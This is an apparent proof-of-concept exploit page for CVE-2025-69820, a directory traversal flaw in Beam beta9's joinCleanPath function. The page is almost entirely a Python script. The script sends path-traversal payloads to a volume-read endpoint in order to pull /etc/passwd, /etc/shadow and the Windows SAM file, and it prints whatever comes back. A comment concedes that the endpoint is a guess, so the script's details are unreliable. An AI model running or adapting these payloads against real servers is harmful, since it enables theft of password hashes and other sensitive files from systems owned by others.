CVE-2025-69820: Beam beta9 joinCleanPath函数目录遍历漏洞

# CVE-2025-69820 PoC - Directory Traversal in Beam beta9 # Target: Beam beta9 v.0.1.521 # Vulnerability: joinCleanPath function in pkg/abstractions/volume/multipart.go import requests import urllib.parse TARGET_URL = "http://target-beam-server:8080" def exploit_directory_traversal(): """ Exploit the directory traversal vulnerability in Beam beta9 to read sensitive files from the server """ # Path traversal payloads to read sensitive files payloads = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../etc/hosts", "../../../../../../../../../etc/passwd", "..\..\..\..\windows\system32\config\sam" # Windows target ] for payload in payloads: # Try to access file through the vulnerable endpoint # The exact endpoint depends on the vulnerable function usage endpoint = f"{TARGET_URL}/api/v1/volume/read" params = { "path": payload, "clean": "true" # Trigger joinCleanPath function } try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success with payload: {payload}") print(f"[+] Content:\n{response.text[:500]}") elif response.status_code == 403: print(f"[-] Access denied with payload: {payload}") else: print(f"[*] Status {response.status_code} with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Error with payload {payload}: {e}") def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-69820 """ # Test with a benign file to verify path traversal works test_path = "../../../../etc/hostname" endpoint = f"{TARGET_URL}/api/v1/volume/read" params = { "path": test_path, "clean": "true" } response = requests.get(endpoint, params=params) if response.status_code == 200: print("[!] Target appears to be VULNERABLE to CVE-2025-69820") return True else: print("[-] Target does not appear to be vulnerable") return False if __name__ == "__main__": print("CVE-2025-69820 - Beam beta9 Directory Traversal PoC") print("=" * 60) check_vulnerability() print("\n[*] Attempting exploitation...") exploit_directory_traversal()